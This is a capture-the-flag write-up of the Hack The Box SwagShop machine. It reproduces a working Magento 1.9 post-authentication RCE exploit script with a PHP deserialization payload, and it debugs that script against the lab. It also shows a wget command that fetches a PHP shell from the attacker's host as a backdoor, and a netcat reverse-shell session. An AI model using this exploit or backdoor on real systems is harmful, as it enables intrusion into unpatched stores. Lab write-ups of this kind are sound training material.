Remote Code Execution


┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ searchsploit Magento 1.9 Remote Code Execution
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | php/webapps/37811.py
------------------------------------------------------------- ---------------------------------
shellcodes: No Results
papers: No Results

There is a RCE exploit for `Magento CE < 1.9.0.1. This was found earlier during the web enumeration phase at the later stage after discovering the exact version It wasn’t as interesting at first as I did not have a valid credential to access the admin panel.

Now that I created an admin credential via the exploit chain attack (CVE-2015-1397 and CVE-2015-1398), I will be able to use this exploit to gain a foothold

Exploit


#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
 
from hashlib import md5
import sys
import re
import base64
import mechanize
 
 
def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
    sys.exit()
 
 
if len(sys.argv) != 3:
    usage()
 
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
 
# Config.
username = ''
password = ''
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml
 
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
 
request = br.open(target)
 
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
 
br.method = "POST"
request = br.submit()
content = request.read()
 
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
 
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
 
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
 
exploit = tunnel + '?ga=' + payload + '&h=' + gh
 
try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()

I wasn’t able to find a CVE number for the vulnerability that the above script is exploiting. I will continue searching.

The exploit above needed some modifications as the comments suggest.

This part of the exploit needed to be configured. I first set the credential to the username and password variable. Then I set the install_date variable to match that of the /app/etc/local.xml file.

The /app/etc/local.xml file shows that the installation was made on Wed, 08 May 2019 07:23:09 +0000

Execution Errors


┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_ce_rce.py http://swagshop.htb "whoami"
traceback (most recent call last):
  File "magento_CE_RCE.py", line 56, in <module>
    br['login[password]'] = password
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 809, in __setitem__
    self.form[name] = val
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 1963, in __setitem__
    control = self.find_control(name)
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2355, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2448, in _find_control
    raise ControlNotFoundError("no control matching " + description)
mechanize._form_controls.controlnotfounderror: no control matching name 'login[password]'

Executing the exploit script fails with some error messages. The error seems to be coming from the mechanize module not being able to authenticate to the web application.

This appear to require debugging

Thankfully there is a commented line that sets up a proxy. I will uncomment it and loop it through Burp Suite, so that I will be able to see what’s going on.

Debugging/Fixing The Exploit


┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/ "id"  

Running this command

It sent a GET request to the web root, not the Authentication page.

┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/index.php/admin/ "id"
Traceback (most recent call last):
  File "magento_CE_RCE.py", line 55, in <module>
    br['login[username]'] = username
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 809, in __setitem__
    self.form[name] = val
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 1963, in __setitem__
    control = self.find_control(name)
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2355, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2446, in _find_control
    description)
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'

Appending /index.php/admin/, now shows a different error. It says that there is more than one, 'login[username]'

Checking back at the source code, I know the reason. The line 53 includes another 'login[username]'. I guess that the writer put that there for their own environments. I will comment that out, and it should work.

┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/index.php/admin/index/ "id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I got code execution confirmed!

Exploitation


┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_ce_rce.py http://swagshop.htb/index.php/admin/ 'wget http://10.10.14.11:8000/shell.php ; chmod 777 shell.php ; ls -la'
total 724
drwxr-xr-x 12 www-data www-data   4096 jan 26 15:06 .
drwxr-xr-x  3 root     root       4096 Nov 12  2021 ..
-rw-r--r--  1 www-data www-data   5667 May  7  2014 .htaccess
-rw-r--r--  1 www-data www-data   4568 May  7  2014 .htaccess.sample
-rw-r--r--  1 www-data www-data  10679 May  7  2014 LICENSE.html
-rw-r--r--  1 www-data www-data  10410 May  7  2014 LICENSE.txt
-rw-r--r--  1 www-data www-data  10421 May  7  2014 LICENSE_AFL.txt
-rw-r--r--  1 www-data www-data 585086 May  7  2014 RELEASE_NOTES.txt
-rw-r--r--  1 www-data www-data   2834 May  7  2014 api.php
drwxr-xr-x  6 www-data www-data   4096 Nov 12  2021 app
-rw-r--r--  1 www-data www-data   2831 May  7  2014 cron.php
-rw-r--r--  1 www-data www-data    717 May  7  2014 cron.sh
drwxr-xr-x  3 www-data www-data   4096 Nov 12  2021 errors
-rw-r--r--  1 www-data www-data   1150 May  7  2014 favicon.ico
-rw-r--r--  1 www-data www-data   5979 May  7  2014 get.php
drwxr-xr-x  2 www-data www-data   4096 Nov 12  2021 includes
-rw-r--r--  1 www-data www-data   2642 May  7  2014 index.php
-rw-r--r--  1 www-data www-data   2366 May  7  2014 index.php.sample
-rw-r--r--  1 www-data www-data   6441 May  7  2014 install.php
drwxr-xr-x 12 www-data www-data   4096 Nov 12  2021 js
drwxr-xr-x 13 www-data www-data   4096 Nov 12  2021 lib
-rw-r--r--  1 www-data www-data   1319 May  7  2014 mage
drwxrwxrwx  8 www-data www-data   4096 Nov 12  2021 media
-rw-r--r--  1 www-data www-data    886 May  7  2014 php.ini.sample
drwxr-xr-x  2 www-data www-data   4096 Nov 12  2021 pkginfo
drwxrwxrwx  2 www-data www-data   4096 Nov 12  2021 shell
-rwxrwxrwx  1 www-data www-data   3034 jan 26 15:05 shell.php
drwxr-xr-x  5 www-data www-data   4096 Nov 12  2021 skin
drwxr-xr-x 10 www-data www-data   4096 jan 26 13:30 var

Uploading the payload over HTTP and confirming it I can see the shell.php file right there. This is much better than just typing in a reverse shell command because that PHP file will now work as a backdoor from the web root. I can call it if I ever lose the shell session

┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.140] 48058
whoami
www-data
hostname
swagshop
ifconfig
ens160    link encap:Ethernet  HWaddr 00:50:56:b9:a8:eb  
          inet addr:10.10.10.140  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: dead:beef::250:56ff:feb9:a8eb/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:a8eb/64 Scope:Link
          up broadcast running multicast  mtu:1500  Metric:1
          rx packets:1004308 errors:0 dropped:143 overruns:0 frame:0
          tx packets:1004011 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          rx bytes:181473596 (181.4 MB)  TX bytes:464550991 (464.5 MB)
 
lo        link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          up loopback running  mtu:65536  Metric:1
          rx packets:2034 errors:0 dropped:0 overruns:0 frame:0
          tx packets:2034 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          rx bytes:261580 (261.5 KB)  TX bytes:261580 (261.5 KB)

Initial Foothold established as www-data to the target system via RCE